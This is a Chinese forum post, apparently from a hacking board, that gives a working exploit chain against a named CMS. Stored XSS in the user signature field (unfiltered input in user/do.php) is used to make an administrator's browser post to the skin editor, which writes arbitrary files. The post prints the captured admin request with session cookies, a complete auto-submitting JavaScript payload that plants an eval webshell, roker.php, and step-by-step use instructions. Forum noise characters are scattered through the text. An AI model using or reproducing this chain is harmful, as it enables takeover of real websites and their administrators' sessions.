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这个cms 以前 90有人发了个getshell,当时 是后台验证文件的问题
% `6 m* f- [4 @6 _官网已经修补了,所以重新下了源码
% t' n4 ^: \, {5 T4 @. P5 X因为 后台登入 还需要认证码 所以 注入就没看了。, G' Z2 V) ? D. o* @4 M
存在 xss
4 }: A: V% L3 S( w; M漏洞文件 user/member/skin_edit.php
, O* C0 R& l! w" V! o本帖隐藏的内容<tr><td style="height:130px;"><span class="t"><i>*</i>签名:. ?+ G. J& F, |6 g4 j6 _
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</span><textarea style="width:435px;height:120px;" id="content" name="CS_Qianm"><?php echo $cscms_qianm?>2 _5 r3 y/ q( o
& h3 E/ ~$ K5 k: i5 L; n4 R3 U! s$ n</textarea></td></tr>
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user/do.php
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if($op=='zl'){ //资料
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if(empty($CS_QQ)||empty($CS_Nichen)||empty($CS_City)||empty($CS_Email)) & ]) ^# _4 \6 m
exit(Msg_Error('抱歉,请把资料填写完整!','javascript:history.go(-1);'));) ?5 I7 u( S1 z( x! b) L2 v1 q
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$sql="update ".Getdbname('user')." set CS_Nichen='".$CS_Nichen."',CS_Email='".$CS_Email."',
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( O# d7 P' H" F0 ?4 ` CS_Sex=".$CS_Sex.",CS_City='".$CS_City."',CS_QQ='".$CS_QQ."',CS_Qianm='".$CS_Qianm."'$ H5 X1 N7 `' n+ ~ r) T6 t
where CS_Name='".$cscms_name."'";
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if($db->query($sql)){
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exit(Msg_Error('恭喜您,修改成功了!','javascript:history.go(-1);'));
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}else{
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exit(Msg_Error('抱歉,修改失败了!','javascript:history.go(-1);'));8 k, {! E3 z5 H4 B O$ u/ i" o
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没有 过滤导致xss产生。
7 t( E( x6 @$ o0 Q后台 看了下 很奇葩的是可以写任意格式文件。。
6 a) r$ g- B6 J抓包。。
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本帖隐藏的内容POST /admin/skins/skins.php?ac=xgmb&op=go&path=../../skins/index/html/ HTTP/1.1% P6 b# b: s1 D9 O7 s. d
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Accept: text/html, application/xhtml+xml, */** S1 o; O9 l2 l9 }0 h/ o
& K. Y7 I* f4 f8 qReferer: http://127.0.0.1/admin/skins/ski ... l/&name=aaa.php1 u* g7 R" D- F, q* W: J+ \$ M u; `
5 V# i, j% q% z8 i% PAccept-Language: zh-CN2 |& y5 @. ^3 z* t: R- g
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User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)
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# w9 }" N" A% s) j0 mContent-Type: application/x-www-form-urlencoded" M- U- \6 B) h1 r! q. ]5 }, b
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Accept-Encoding: gzip, deflate
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5 h% O6 U n- H4 h ~" O1 GHost: 127.0.0.1
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/ ^+ m+ a. N# M1 U& z( {! _Content-Length: 38* W6 u/ {7 r# o$ ~
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DNT: 1( q6 ]4 M" X! ]3 @" f& k
! f; P& x# J |/ _- V% p! x$ qConnection: Keep-Alive
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, R2 c: F6 M* N: }4 MCache-Control: no-cache
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Cookie: CS_AdminID=1; CS_AdminUserName=aaaa; CS_AdminPassWord=12949e83a49a0989aa46ab7e249ca34d; CS_Quanx=0_1%2C1_1%2C1_2%2C1_3%2C1_4%2C1_5%2C2_1%2C2_2%2C2_3%2C2_4%2C2_5%2C2_6%2C2_7%2C3_1%2C3_2%2C3_3%2C3_4%2C4_1%2C4_2%2C4_3%2C4_4%2C4_5%2C4_6%2C4_7%2C5_1%2C5_2%2C5_3%2C5_4%2C5_5%2C6_1%2C6_2%2C6_3%2C7_1%2C7_2%2C8_1%2C8_2%2C8_3%2C8_4; CS_Login=980bb0dfb9c7ba8ac7676b6f4eea2c4b; CS_AdminUP=1; cs_id=2; cs_name=test; PHPSESSID=36db4a484bdbd090ad9846e3b7f65594
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name=aaa.php&content=%3Cs%3E%3Ca%25%3E
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! r" }* z* ]: U( s' r于是 构造js如下。
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本帖隐藏的内容<script>
" R4 E+ U/ I1 X! X+ S9 P; zthisTHost = top.location.hostname;; G8 e2 V# Y- h$ _( x
8 H H$ ~+ C- ]0 @ ]' [; r8 UthisTHost = "http://" + thisTHost + "/admin/skins/skins.php?ac=xgmb&op=go&path=../../skins/index/html/";
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function PostSubmit(url, data, msg) { 8 G4 J$ L$ U1 j) C& W9 Y5 D( f
var postUrl = url;
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8 ?/ o! O7 E2 u var postData = data; . p) C' a+ Z) Z; ?# @' U( e
var msgData = msg;
( D" ~+ ^; S% m" u0 | var ExportForm = document.createElement("FORM"); 3 u' c: O* [6 C- b$ N0 }
document.body.appendChild(ExportForm); p. F* [6 j+ Z- H& H' @: ` D; d
ExportForm.method = "POST"; , h4 w8 o1 \, G5 D! j; F
var newElement = document.createElement("input"); . n& W( t9 m% _" W
newElement.setAttribute("name", "name"); 7 J: p9 U; [# ]# o
newElement.setAttribute("type", "hidden");
# _* v& }/ w: e2 J" b var newElement2 = document.createElement("input"); " N: Y0 M9 i/ U, @8 f
newElement2.setAttribute("name", "content"); $ }( g4 O" e9 V" ^' x B4 u
newElement2.setAttribute("type", "hidden"); . u0 G1 T& S1 r8 d
ExportForm.appendChild(newElement);
4 K5 t: ]& M, t% J4 P' j ExportForm.appendChild(newElement2); 0 h5 {, [! Z( a3 r/ f# M* I
newElement.value = postData;
4 V( w+ [$ B) s, j$ ~+ J newElement2.value = msgData; % k' B$ x' r# O2 y( D
ExportForm.action = postUrl; 7 X4 R/ x* ? u) ]3 z: p
ExportForm.submit();
9 U8 c: Y; M$ N* ]+ H& z};
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PostSubmit(thisTHost,"roker.php","<?php @eval($_POST[123]);?>");1 q# k+ H/ {" |7 w# Z
$ w7 {- z6 M" I; C</script>1 i& `" r. t* D! C! \
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% R5 B3 D$ O- ^9 s2 Q2 n# phttp://127.0.0.1/user/space.php?ac=edit&op=zl 修改签名处 插入
/ m6 Z& R* U! \. R# D用你的账号给管理写个 私信 或者让他访问 你的主页http://127.0.0.1/home/?uid=2(uid自己改)4 x" v- E* ]% y& l& H
就会 在 skins\index\html\目录下生成 roker.php 一句话。 | ( q3 B8 ]/ j" {5 v( x
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